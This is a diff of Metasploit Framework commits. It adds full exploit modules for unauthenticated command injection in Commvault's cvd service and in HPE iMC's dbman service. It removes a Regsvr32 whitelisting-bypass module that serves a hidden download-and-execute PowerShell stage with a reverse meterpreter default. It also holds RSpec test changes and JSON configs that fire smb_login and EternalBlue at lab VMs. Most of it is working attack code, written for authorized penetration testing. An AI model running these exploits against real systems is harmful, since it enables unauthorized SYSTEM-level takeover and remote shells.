sploit << rand_text_alpha(9067 - sploit.length, payload_badchars)
send_request_cgi(
'uri' => "/#{sploit}",
'method' => 'GET'
)
else
print_error("Exploit not suitable for this target.")
end

View File

@ -0,0 +1,98 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info={})
super(update_info(info,
'Name' => 'Commvault Communications Service (cvd) Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability
discovered in Commvault Service v11 SP5 and earlier versions (tested in v11 SP5
and v10). The vulnerability exists in the cvd.exe service and allows an
attacker to execute arbitrary commands in the context of the service. By
default, the Commvault Communications service installs and runs as SYSTEM in
Windows and does not require authentication. This vulnerability was discovered
in the Windows version. The Linux version wasn't tested.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b0yd', # @rwincey / Vulnerability Discovery and MSF module author
],
'References' =>
[
['URL', 'https://www.securifera.com/advisories/sec-2017-0001/']
],
'Platform' => 'win',
'Targets' =>
[
[ 'Commvault Communications Service (cvd) / Microsoft Windows 7 and higher',
{
'Arch' => [ARCH_X64, ARCH_X86]
}
],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 12 2017'))
register_options([Opt::RPORT(8400)])
end
def exploit
buf = build_exploit
print_status("Connecting to Commvault Communications Service.")
connect
print_status("Executing payload")
#Send the payload
sock.put(buf)
#Handle the shell
handler
disconnect
end
def build_exploit
#Get encoded powershell of payload
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
#Remove additional cmd.exe call
psh = "powershell"
idx = command.index(psh)
command = command[(idx)..-1]
#Build packet
cmd_path = 'C:\Windows\System32\cmd.exe'
msg_type = 9
zero = 0
payload = ""
payload += make_nops(8)
payload += [msg_type].pack('I>')
payload += make_nops(328)
payload += cmd_path
payload += ";"
payload += ' /c "'
payload += command
payload += '" && echo '
payload += "\x00"
payload += [zero].pack('I>')
#Add length header and payload
ret_data = [payload.length].pack('I>')
ret_data += payload
ret_data
end
end

View File

@ -0,0 +1,153 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'HPE iMC dbman RestartDB Unauthenticated RCE',
'Description' => %q{
This module exploits a remote command execution vulnerablity in
Hewlett Packard Enterprise Intelligent Management Center before
version 7.3 E0504P04.
The dbman service allows unauthenticated remote users to restart
a user-specified database instance (OpCode 10008), however the
instance ID is not sanitized, allowing execution of arbitrary
operating system commands as SYSTEM. This service listens on
TCP port 2810 by default.
This module has been tested successfully on iMC PLAT v7.2 (E0403)
on Windows 7 SP1 (EN).
},
'License' => MSF_LICENSE,
'Author' =>
[
'sztivi', # Discovery
'Chris Lyne', # Python PoC (@lynerc)
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['CVE', '2017-5816'],
['EDB', '43198'],
['ZDI', '17-340'],
['URL', 'https://www.securityfocus.com/bid/98469/info'],
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
],
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Payload' => { 'BadChars' => "\x00" },
'DefaultOptions' => { 'WfsDelay' => 15 },
'Privileged' => true,
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))
register_options [Opt::RPORT(2810)]
end
def check
# empty RestartDB packet
pkt = [10008].pack('N')
connect
sock.put pkt
res = sock.get_once
disconnect
# Expected reply:
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
return CheckCode::Detected if res =~ /dbman/i
CheckCode::Safe
end
def dbman_msg(db_instance)
data = ''
db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
db_type = "\x04" # SQL Server
db_sa_username = rand_text_alpha rand(1..5)
db_sa_password = rand_text_alpha rand(1..5)
ora_db_ins = rand_text_alpha rand(1..5)
# dbIp
data << "\x04"
data << [db_ip.length].pack('C')
data << db_ip
# iDBType
data << "\x02"
data << [db_type.length].pack('C')
data << db_type
# dbInstance
data << "\x04"
data << "\x82"
data << [db_instance.length].pack('n')
data << db_instance
# dbSaUserName
data << "\x04"
data << [db_sa_username.length].pack('C')
data << db_sa_username
# dbSaPassword
data << "\x04"
data << [db_sa_password.length].pack('C')
data << db_sa_password
# strOraDbIns
data << "\x04"
data << [ora_db_ins.length].pack('C')
data << ora_db_ins
data
end
def dbman_restartdb_pkt(db_instance)
data = dbman_msg db_instance
# opcode 10008 (RestartDB)
pkt = [10008].pack('N')
# packet length
pkt << "\x00\x00"
pkt << [data.length + 4].pack('n')
# packet data length
pkt << "\x30\x82"
pkt << [data.length].pack('n')
# packet data
pkt << data
pkt
end
def execute_command(cmd, _opts = {})
connect
sock.put dbman_restartdb_pkt "\"& #{cmd} &"
disconnect
end
def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
if command.length > 8000
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
end
print_status "Sending payload (#{command.length} bytes)..."
execute_command command
end
end

View File

@ -0,0 +1,207 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'HPE iMC dbman RestoreDBase Unauthenticated RCE',
'Description' => %q{
This module exploits a remote command execution vulnerablity in
Hewlett Packard Enterprise Intelligent Management Center before
version 7.3 E0504P04.
The dbman service allows unauthenticated remote users to restore
a user-specified database (OpCode 10007), however the database
connection username is not sanitized resulting in command injection,
allowing execution of arbitrary operating system commands as SYSTEM.
This service listens on TCP port 2810 by default.
This module has been tested successfully on iMC PLAT v7.2 (E0403)
on Windows 7 SP1 (EN).
},
'License' => MSF_LICENSE,
'Author' =>
[
'sztivi', # Discovery
'Chris Lyne', # Python PoC (@lynerc)
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['CVE', '2017-5817'],
['EDB', '43195'],
['ZDI', '17-341'],
['URL', 'https://www.securityfocus.com/bid/98469/info'],
['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
],
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Payload' => { 'BadChars' => "\x00" },
'DefaultOptions' => { 'WfsDelay' => 15 },
'Privileged' => true,
'DisclosureDate' => 'May 15 2017',
'DefaultTarget' => 0))
register_options [Opt::RPORT(2810)]
end
def check
# empty RestoreDBase packet
pkt = [10007].pack('N')
connect
sock.put pkt
res = sock.get_once
disconnect
# Expected reply:
# "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
return CheckCode::Detected if res =~ /dbman/i
CheckCode::Safe
end
def dbman_msg(database_user)
data = ''
db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
database_type = "\x03" # MySQL
restore_type = 'MANUAL'
database_password = rand_text_alpha rand(1..5)
database_port = rand_text_alpha rand(1..5)
database_instance = rand_text_alpha rand(1..5)
junk = rand_text_alpha rand(1..5)
# database ip
data << "\x04"
data << [db_ip.length].pack('C')
data << db_ip
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# junk
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x02\x01\x01"
# database type
data << "\x02"
data << [database_type.length].pack('C')
data << database_type
# restore type
data << "\x04"
data << [restore_type.length].pack('C')
data << restore_type
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# database user
data << "\x04"
data << "\x82"
data << [database_user.length].pack('n')
data << database_user
# database password
data << "\x04"
data << [database_password.length].pack('C')
data << database_password
# database port
data << "\x04"
data << [database_port.length].pack('C')
data << database_port
# database instance
data << "\x04"
data << [database_instance.length].pack('C')
data << database_instance
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x04"
data << [junk.length].pack('C')
data << junk
# ???
data << "\x30\x00"
data << "\x02\x01\x01"
data
end
def dbman_restoredbase_pkt(database_user)
data = dbman_msg database_user
# opcode 10007 (RestoreDBase)
pkt = [10007].pack('N')
# packet length
pkt << "\x00\x00"
pkt << [data.length + 4].pack('n')
# packet data length
pkt << "\x30\x82"
pkt << [data.length].pack('n')
# packet data
pkt << data
pkt
end
def execute_command(cmd, _opts = {})
connect
sock.put dbman_restoredbase_pkt "\"& #{cmd} &"
disconnect
end
def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
if command.length > 8000
fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
end
print_status "Sending payload (#{command.length} bytes)..."
execute_command command
end
end

View File

@ -1,98 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
include Msf::Module::Deprecated
deprecated(Date.new(2018, 3, 5), 'exploits/multi/script/web_delivery.rb')
def initialize(info = {})
super(update_info(info,
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Server',
'Description' => %q(
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32
command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee)
'Trenton Ivey', # MSF Module (kn0)
],
'DefaultOptions' =>
{
'Payload' => 'windows/meterpreter/reverse_tcp'
},
'Targets' => [['PSH', {}]],
'Platform' => %w(win),
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 19 2016',
'References' =>
[
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
]
))
end
def primer
print_status('Run the following command on the target machine:')
print_line("regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll")
end
def on_request_uri(cli, _request)
# If the resource request ends with '.sct', serve the .sct file
# Otherwise, serve the PowerShell payload
if _request.raw_uri =~ /\.sct$/
serve_sct_file
else
serve_psh_payload
end
end
def serve_sct_file
print_status("Handling request for the .sct file from #{cli.peerhost}")
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
psh_command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run
)
data = gen_sct_file(psh_command)
send_response(cli, data, 'Content-Type' => 'text/plain')
end
def serve_psh_payload
print_status("Delivering payload to #{cli.peerhost}")
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true
)
send_response(cli,data,'Content-Type' => 'application/octet-stream')
end
def rand_class_id
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
end
def gen_sct_file(command)
%{<?XML version="1.0"?><scriptlet><registration progid="#{rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
end
end

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 58486
CachedSize = 67282
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 58450
CachedSize = 67222
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 58450
CachedSize = 67222
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 58402
CachedSize = 67182
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -1,8 +1,18 @@
RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
# Wait for data to be loaded
before(:all) do
Msf::Modules::Metadata::Cache.instance.get_metadata
end
let(:parent_path) do
parent_pathname.to_path
end
let(:metadata_cache) do
Msf::Modules::Metadata::Cache.instance
end
let(:parent_pathname) do
Metasploit::Framework.root.join('modules')
end
@ -221,73 +231,37 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
end
context '#refresh_cache_from_module_files' do
before(:example) do
allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?)
end
context 'with framework migrated' do
let(:framework_migrated?) do
true
context 'with module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files(module_class_or_instance)
end
context 'with module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files(module_class_or_instance)
end
let(:module_class_or_instance) do
Class.new(Msf::Module)
end
it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do
expect(framework.db).to receive(:update_module_details).with(module_class_or_instance).ordered
expect(module_manager).to receive(:refresh_cache_from_database).ordered
refresh_cache_from_module_files
end
let(:module_class_or_instance) do
Class.new(Msf::Module)
end
context 'without module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files
end
it 'should update store and then update in-memory cache from the store for the given module_class_or_instance' do
expect(metadata_cache).to receive(:refresh_metadata_instance).with(module_class_or_instance).ordered
expect(module_manager).to receive(:refresh_cache_from_database).ordered
it 'should update database and then update in-memory cache from the database for all modules' do
expect(framework.db).to receive(:update_all_module_details).ordered
expect(module_manager).to receive(:refresh_cache_from_database)
refresh_cache_from_module_files
end
refresh_cache_from_module_files
end
end
context 'without framework migrated' do
context 'without module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files
end
let(:framework_migrated?) do
false
end
it 'should not call Msf::DBManager#update_module_details' do
expect(framework.db).not_to receive(:update_module_details)
refresh_cache_from_module_files
end
it 'should not call Msf::DBManager#update_all_module_details' do
expect(framework.db).not_to receive(:update_all_module_details)
refresh_cache_from_module_files
end
it 'should not call #refresh_cache_from_database' do
expect(module_manager).not_to receive(:refresh_cache_from_database)
it 'should update store and then update in-memory cache from the store for all modules' do
expect(metadata_cache).to receive(:refresh_metadata).ordered
expect(module_manager).to receive(:refresh_cache_from_database)
refresh_cache_from_module_files
end
end
end
context '#refresh_cache_from_database' do
@ -302,41 +276,6 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
end
end
context '#framework_migrated?' do
subject(:framework_migrated?) do
module_manager.send(:framework_migrated?)
end
context 'with framework database' do
before(:example) do
expect(framework.db).to receive(:migrated).and_return(migrated)
end
context 'with migrated' do
let(:migrated) do
true
end
it { is_expected.to be_truthy }
end
context 'without migrated' do
let(:migrated) do
false
end
it { is_expected.to be_falsey }
end
end
context 'without framework database' do
before(:example) do
expect(framework).to receive(:db).and_return(nil)
end
it { is_expected.to be_falsey }
end
end
context '#module_info_by_path' do
it 'should have protected method module_info_by_path' do
@ -359,101 +298,78 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
module_manager.send(:module_info_by_path_from_database!)
end
before(:example) do
allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?)
it 'should call get metadata' do
allow(metadata_cache).to receive(:get_metadata).and_return([])
expect(metadata_cache).to receive(:get_metadata)
module_info_by_path_from_database!
end
context 'with framework migrated' do
let(:framework_migrated?) do
true
context 'with database cache' do
#
# Let!s (let + before(:each))
#
let!(:mdm_module_detail) do
FactoryGirl.create(:mdm_module_detail,
:file => path,
:mtype => type,
:mtime => pathname.mtime,
:refname => reference_name
)
end
it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do
expect(Mdm::Module::Detail).to receive(:find_each)
it 'should create cache entry for path' do
module_info_by_path_from_database!
expect(module_info_by_path).to have_key(path)
end
context 'with database cache' do
#
# Let!s (let + before(:each))
#
let!(:mdm_module_detail) do
FactoryGirl.create(:mdm_module_detail,
:file => path,
:mtype => type,
:mtime => pathname.mtime,
:refname => reference_name
)
context 'cache entry' do
subject(:cache_entry) do
module_info_by_path[path]
end
it 'should create cache entry for path' do
before(:example) do
module_info_by_path_from_database!
expect(module_info_by_path).to have_key(path)
end
context 'cache entry' do
subject(:cache_entry) do
module_info_by_path[path]
end
it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) }
it { expect(subject[:parent_path]).to eq(parent_path) }
it { expect(subject[:reference_name]).to eq(reference_name) }
it { expect(subject[:type]).to eq(type) }
end
context 'typed module set' do
let(:typed_module_set) do
module_manager.module_set(type)
end
context 'with reference_name' do
before(:example) do
module_info_by_path_from_database!
typed_module_set[reference_name] = double('Msf::Module')
end
it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) }
it { expect(subject[:parent_path]).to eq(parent_path) }
it { expect(subject[:reference_name]).to eq(reference_name) }
it { expect(subject[:type]).to eq(type) }
end
context 'typed module set' do
let(:typed_module_set) do
module_manager.module_set(type)
end
context 'with reference_name' do
before(:example) do
typed_module_set[reference_name] = double('Msf::Module')
end
it 'should not change reference_name value' do
expect {
module_info_by_path_from_database!
}.to_not change {
typed_module_set[reference_name]
}
end
end
context 'without reference_name' do
it 'should set reference_name value to Msf::SymbolicModule' do
it 'should not change reference_name value' do
expect {
module_info_by_path_from_database!
}.to_not change {
typed_module_set[reference_name]
}
end
end
# have to use fetch because [] will trigger de-symbolization and
# instantiation.
expect(typed_module_set.fetch(reference_name)).to eq Msf::SymbolicModule
end
context 'without reference_name' do
it 'should set reference_name value to Msf::SymbolicModule' do
module_info_by_path_from_database!
# have to use fetch because [] will trigger de-symbolization and
# instantiation.
expect(typed_module_set.fetch(reference_name)).to eq Msf::SymbolicModule
end
end
end
end
context 'without framework migrated' do
let(:framework_migrated?) do
false
end
it 'should reset #module_info_by_path' do
# pre-fill module_info_by_path so change can be detected
module_manager.send(:module_info_by_path=, double('In-memory Cache'))
module_info_by_path_from_database!
expect(module_info_by_path).to be_empty
end
end
end
end

View File

@ -0,0 +1,68 @@
{
"TEST_NAME": "smb_login test",
"REPORT_PREFIX": "SmbLoginTest",
"FRAMEWORK_BRANCH": "upstream/master",
"HTTP_PORT": 5309,
"STARTING_LISTENER": 30000,
"CREDS_FILE": "../JSON/creds.json",
"MSF_HOSTS":
[
{
"TYPE": "VIRTUAL",
"METHOD": "VM_TOOLS_UPLOAD",
"HYPERVISOR_CONFIG": "../JSON/esxi_config.json",
"NAME": "APT_MSF_HOST",
"MSF_ARTIFACT_PATH": "/home/msfuser/rapid7/test_artifacts",
"MSF_PATH": "/home/msfuser/rapid7/metasploit-framework"
}
],
"TARGETS":
[
{
"TYPE": "VIRTUAL",
"METHOD": "EXPLOIT",
"NAME": "Win2008r2x64sp1",
"MODULES":
[
{
"NAME": "auxiliary/scanner/smb/smb_login",
"SETTINGS": [
"smbuser=vagrant",
"smbpass=vagrant"
]
}
]
},
{
"TYPE": "VIRTUAL",
"METHOD": "EXPLOIT",
"NAME": "Win2012x64",
"MODULES":
[
{
"NAME": "auxiliary/scanner/smb/smb_login",
"SETTINGS": [
"smbuser=vagrant",
"smbpass=vagrant"
]
}
]
}
],
"TARGET_GLOBALS":
{
"TYPE": "VIRTUAL",
"HYPERVISOR_CONFIG": "../JSON/esxi_config.json",
"METHOD": "VM_TOOLS_UPLOAD",
"PAYLOAD_DIRECTORY": "C:\\payload_test",
"TESTING_SNAPSHOT": "TESTING_BASE",
"PYTHON": "C:\\software\\x86\\python27\\python.exe",
"METERPRETER_PYTHON": "C:\\software\\x86\\python27\\python.exe",
"METERPRETER_JAVA": "C:\\software\\x86\\java\\bin\\java.exe"
},
"COMMAND_LIST": [],
"SUCCESS_LIST": [
"- Success:"
]
}

View File

@ -0,0 +1,99 @@
{
"FRAMEWORK_BRANCH": "upstream/master",
"HTTP_PORT": 5309,
"STARTING_LISTENER": 30000,
"CREDS_FILE": "../JSON/creds.json",
"MSF_HOSTS":
[
{
"TYPE": "VIRTUAL",
"METHOD": "VM_TOOLS_UPLOAD",
"HYPERVISOR_CONFIG": "../JSON/esxi_config.json",
"NAME": "APT_MSF_HOST",
"MSF_PATH": "/home/msfuser/rapid7/metasploit-framework",
"MSF_ARTIFACT_PATH": "/home/msfuser/rapid7/test_artifacts"
}
],
"TARGET_GLOBALS":
{
"TYPE": "VIRTUAL",
"HYPERVISOR_CONFIG": "../JSON/esxi_config.json",
"METHOD": "VM_TOOLS_UPLOAD",
"PAYLOAD_DIRECTORY": "C:\\payload_test",
"TESTING_SNAPSHOT": "TESTING_BASE",
"PYTHON": "C:\\software\\x86\\python27\\python.exe",
"METERPRETER_PYTHON": "C:\\software\\x86\\python27\\python.exe",
"METERPRETER_JAVA": "C:\\software\\x86\\java\\bin\\java.exe"
},
"TARGETS":
[
{
"TYPE": "VIRTUAL",
"METHOD": "EXPLOIT",
"NAME": "Win7x64"
}
],
"MODULES":
[
{
"NAME": "exploit/windows/smb/ms17_010_eternalblue",
"SETTINGS":
[
"SMBUser=vagrant",
"SMBPass=vagrant"
]
}
],
"PAYLOADS":
[
{
"NAME": "windows/x64/meterpreter/reverse_tcp",
"SETTINGS": []
}
],
"COMMAND_LIST": [
"<ruby>",
"sleep(60)",
"</ruby>",
"sessions -C sessions -l",
"<ruby>",
"sleep(60)",
"</ruby>",
"sessions -C sysinfo",
"<ruby>",
"sleep(10)",
"</ruby>",
"sessions -C sysinfo",
"<ruby>",
"sleep(10)",
"</ruby>",
"sessions -C sysinfo",
"<ruby>",
"sleep(10)",
"</ruby>",
"sessions -C sysinfo",
"<ruby>",
"sleep(10)",
"</ruby>",
"sessions -C sysinfo",
"<ruby>",
"sleep(10)",
"</ruby>",
"sessions -C sysinfo",
"<ruby>",
"sleep(10)",
"</ruby>",
"sessions -C sysinfo",
"<ruby>",
"sleep(10)",
"</ruby>",
"sessions -C sysinfo",
"sessions -C ifconfig",
"sessions -C sessions -l",
"sessions -C getuid",
"sessions -C exit"
],
"SUCCESS_LIST": [
"Session 1 created in the background"
]
}